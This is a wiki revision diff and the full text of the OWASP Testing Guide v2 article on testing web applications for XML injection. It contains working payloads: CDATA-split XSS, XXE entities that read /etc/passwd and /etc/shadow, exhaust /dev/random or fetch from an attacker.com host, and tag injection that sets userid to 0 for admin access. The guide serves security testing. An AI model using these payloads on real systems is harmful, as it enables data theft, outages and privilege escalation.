Difference between revisions of "Testing for XML Injection (OWASP-DV-008)"

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m (Black Box testing and example)
(Discovery)
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vulnerability consists of trying to insert XML metacharacters.<br>
 
vulnerability consists of trying to insert XML metacharacters.<br>
 
XML metacharacters are:
 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML
+
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
parsing, if the injected value is going to be part of an attribute value in a tag.
+
 
As an example, let's suppose there is the following attribute:
 
As an example, let's suppose there is the following attribute:
  
Line 95: Line 94:
 
  '''<nowiki><node attrib='foo''/></nowiki>'''
 
  '''<nowiki><node attrib='foo''/></nowiki>'''
  
then, the XML document will no longer be well formed.
+
then, the resulting XML document is not well formed.
  
* '''Double quote: " '''- this character has the same means of double quotes and it could be  
+
* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.
used in case attribute value is enclosed by double quotes.
+
  
 
  '''<nowiki><node attrib="$inputValue"/></nowiki>'''
 
  '''<nowiki><node attrib="$inputValue"/></nowiki>'''
Line 105: Line 103:
 
  '''$inputValue = foo"'''
 
  '''$inputValue = foo"'''
  
the substitution will be:
+
the substitution gives:
  
 
  '''<nowiki><node attrib="foo""/></nowiki>'''
 
  '''<nowiki><node attrib="foo""/></nowiki>'''
  
and the xml document will be no more valid.
+
and the resulting XML document is invalid.
  
* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis  
+
* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:
in a user input like the following:
+
  
 
  '''Username = foo<'''
 
  '''Username = foo<'''
  
the application wil build a new node:
+
the application will build a new node:
  
 
  '''<nowiki><user>  
 
  '''<nowiki><user>  
Line 125: Line 122:
 
</user></nowiki>'''
 
</user></nowiki>'''
  
but the presence of an open '<' will deny the validation of xml data.
+
but, because of the presence of the open '<', the resulting XML document is invalid.
  
  
* '''Comment tag: <nowiki><!--/--></nowiki>''' -  This sequence of characters is interpreted as the beginning/
+
* '''Comment tag: <nowiki><!--/--></nowiki>''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:
end of a comment. So by injecting one of them in Username parameter:
+
  
 
  '''<nowiki>Username = foo<!--</nowiki>'''
 
  '''<nowiki>Username = foo<!--</nowiki>'''
  
the application wil build a node like the following:
+
the application will build a node like the following:
  
 
  '''<nowiki><user>  
 
  '''<nowiki><user>  
Line 142: Line 138:
 
</user></nowiki>'''
 
</user></nowiki>'''
  
which won't be a valid xml sequence.
+
which won't be a valid XML sequence.
  
* '''Ampersand: &amp; '''-  The ampersand is used in xml syntax to represent XML Entities.
+
* '''Ampersand: &amp; '''-  The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;symbol;'. An entity is mapped to a character in the Unicode character set.
that is, by using an arbitrary entity like '&amp;symbol;' it is possible to  
+
map it with a character or a string which will be considered as non-xml text.
+
  
 
For example:
 
For example:
Line 152: Line 146:
 
  '''<nowiki><tagnode>&amp;lt;</tagnode></nowiki>'''
 
  '''<nowiki><tagnode>&amp;lt;</tagnode></nowiki>'''
  
is well formed and valid, and represent the '<' ASCII character.
+
is well formed and valid, and represents the '<' ASCII character.
  
If '&amp;' is not encoded itself with &amp;amp; it could be used to test XML injection.
+
If '&amp;' is not encoded itself with &amp;amp;, it could be used to test XML injection.
  
Infact if a input like the following is provided:
+
In fact, if an input like the following is provided:
  
 
  '''Username = &amp;foo'''
 
  '''Username = &amp;foo'''
Line 169: Line 163:
 
</user></nowiki>'''
 
</user></nowiki>'''
  
 +
but, again, the document is not valid: &amp;foo is not terminated with ';' and the &foo; entity is undefined.
  
but as &amp;foo doesn't has a final ';' and moreover &foo; entity is defined nowhere so xml is not valid as well.
 
  
 +
* '''CDATA section delimiters: <![CDATA[ / ]]>''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.
  
* '''CDATA begin/end tags: <![CDATA[ / ]]>''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser.
+
For example, if there is the need to represent the string '<foo>' inside a text node, a CDATA section may be used:
Often this is used when there are metacharacters inside a text node
+
which are to be considered as text values.
+
 
+
For example if there is the need to represent the string '<foo>' inside a text node
+
it could be used CDATA in the following way:
+
  
 
  '''<nowiki><node>
 
  '''<nowiki><node>
Line 184: Line 174:
 
</node></nowiki>'''
 
</node></nowiki>'''
  
so that '<foo>' won't be parsed and will be considered as a text value.
+
so that '<foo>' won't be parsed as markup and will be considered as character data.
  
In case a node is built in the following way:
+
In case a node is built in the following way:
  
 
  '''<nowiki><username><![CDATA[<$userName]]></username></nowiki>'''
 
  '''<nowiki><username><![CDATA[<$userName]]></username></nowiki>'''
  
the tester could try to inject the end CDATA sequence ']]>' in order to try to invalidate xml.
+
the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.
  
 
  '''userName  = ]]>'''
 
  '''userName  = ]]>'''
Line 198: Line 188:
 
  '''<username><![CDATA[]]>]]></username>'''
 
  '''<username><![CDATA[]]>]]></username>'''
  
which is not a valid xml representation.
+
which is not a valid XML fragment.
  
 
* '''External Entity: '''
 
* '''External Entity: '''
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page.
+
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.
Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:
+
 
 +
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user.  
  
 
  '''<nowiki> <html>
 
  '''<nowiki> <html>
Line 208: Line 199:
 
  </html></nowiki>'''
 
  </html></nowiki>'''
  
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:
+
Then, an attacker can provide the following input:
  
 
  '''<nowiki>$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></nowiki>'''
 
  '''<nowiki>$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></nowiki>'''
  
we will obtain the following node:
+
and obtain the following node:
  
 
  '''<nowiki><html>
 
  '''<nowiki><html>
Line 218: Line 209:
 
  </html></nowiki>'''
 
  </html></nowiki>'''
  
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:
+
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:
  
 
  '''<script>alert('XSS')</script>'''
 
  '''<script>alert('XSS')</script>'''
  
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.
+
The result is that the application is vulnerable to XSS.  
  
 
'''Entity:'''
 
'''Entity:'''
It's possible to define an entity using the DTDs. Entity-name as ''&amp;.'' is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:
+
It's possible to define an entity using the DTDs. ''&amp;.'' is an example of an entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:
  
 
  '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
 
  '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
Line 256: Line 247:
 
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''
 
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''
  
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.
+
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors, we can find a lot of useful informations in relation to the adopted technology.
  
 
=== Tag Injection ===
 
=== Tag Injection ===

Revision as of 00:54, 23 August 2008

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OWASP Testing Guide v2 Table of Contents

Contents


Brief Summary

We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive.

Short Description of the Issue

In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

Black Box testing and example

Let's suppose there is a web application using an XML style communication in order to perform users registration. This is done by creating and adding a new <user> node in an xmlDb file. Let's suppose the xmlDB file is like the following:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
</users>

When a user registers himself by filling an HTML form, the application receives the user's data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com

will produce the request:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

The application, then, builds the following node:

<user> 
	<username>tony</username> 
	<password>Un6R34kb!e</password> 
	<userid>500</userid>
	<mail>s4tan@hell.com</mail>
</user>

which will be added to the xmlDB:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>s4tan@hell.com</mail>
	</user> 
</users>

Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.
XML metacharacters are:

  • Single quote: ' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.

As an example, let's suppose there is the following attribute:

<node attrib='$inputValue'/>

So, if:

inputValue = foo'

is instantiated and then is inserted as the attrib value:

<node attrib='foo''/>

then, the resulting XML document is not well formed.

  • Double quote: " - this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.
<node attrib="$inputValue"/>

So if:

$inputValue = foo"

the substitution gives:

<node attrib="foo""/>

and the resulting XML document is invalid.

  • Angular parenthesis: > and < - By adding an open or closed angular parenthesis in a user input like the following:
Username = foo<

the application will build a new node:

<user> 
     <username>foo<</username> 
     <password>Un6R34kb!e</password> 
     <userid>500</userid>
     <mail>s4tan@hell.com</mail>
</user>

but, because of the presence of the open '<', the resulting XML document is invalid.


  • Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:
Username = foo<!--

the application will build a node like the following:

<user> 
    <username>foo<!--</username> 
    <password>Un6R34kb!e</password> 
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

which won't be a valid XML sequence.

  • Ampersand: & - The ampersand is used in the XML syntax to represent entities. The format of an entity is '&symbol;'. An entity is mapped to a character in the Unicode character set.

For example:

<tagnode>&lt;</tagnode>

is well formed and valid, and represents the '<' ASCII character.

If '&' is not encoded itself with &amp;, it could be used to test XML injection.

In fact, if an input like the following is provided:

Username = &foo

a new node will be created:

<user> 
<username>&foo</username> 
<password>Un6R34kb!e</password> 
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>

but, again, the document is not valid: &foo is not terminated with ';' and the &foo; entity is undefined.


  • CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

For example, if there is the need to represent the string '<foo>' inside a text node, a CDATA section may be used:

<node>
    <![CDATA[<foo>]]>
</node>

so that '<foo>' won't be parsed as markup and will be considered as character data.

In case a node is built in the following way:

<username><![CDATA[<$userName]]></username>

the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.

userName  = ]]>

this will become:

<username><![CDATA[]]>]]></username>

which is not a valid XML fragment.

  • External Entity:

Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.

Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user.

 <html>
 $HTMLCode
 </html>

Then, an attacker can provide the following input:

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

and obtain the following node:

<html>
  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
 </html>

During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:

<script>alert('XSS')</script>

The result is that the application is vulnerable to XSS.

Entity: It's possible to define an entity using the DTDs. &. is an example of an entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars. Other tests are the following:


 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors, we can find a lot of useful informations in relation to the adopted technology.

Tag Injection

Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags.

Considering previous example, by inserting the following values:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

the application will build a new node and append it to the XML database:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
	</user> 
</users>

The resulting xml file will be well formed and it is likely that the userid tag will be cosidered with the latter value (0 = admin id). The only shortcoming is that userid tag exists two times in the last user node, and often xml file is associated with a schema or a DTD. Let's suppose now that xml structure has the following DTD:

<!DOCTYPE users [
	  <!ELEMENT users (user+) >
	  <!ELEMENT user (username,password,userid,mail+) >
	  <!ELEMENT username (#PCDATA) >
	  <!ELEMENT password (#PCDATA) >
	  <!ELEMENT userid (#PCDATA) >
	  <!ELEMENT mail (#PCDATA) >
]>

to be noted that userid node is defined with cardinality 1 (userid).

So if this occurs, any simple attack won't be accomplished when xml is validated against the specified DTD.

If the tester can control some value for nodes enclosing userid tag (like in this example), by injection a comment start/end sequence like the following:


Username: tony
Password: Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com

xml database file will be :

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password><!--</password> 
		<userid>500</userid>
		<mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
	</user>
</users>

This way original userid tag will be commented out and the one injected will be parsed in compliance to DTD rules.
The result is that user 'tony' will be logged with userid=0 ( which could be an administrator uid)

References

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OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents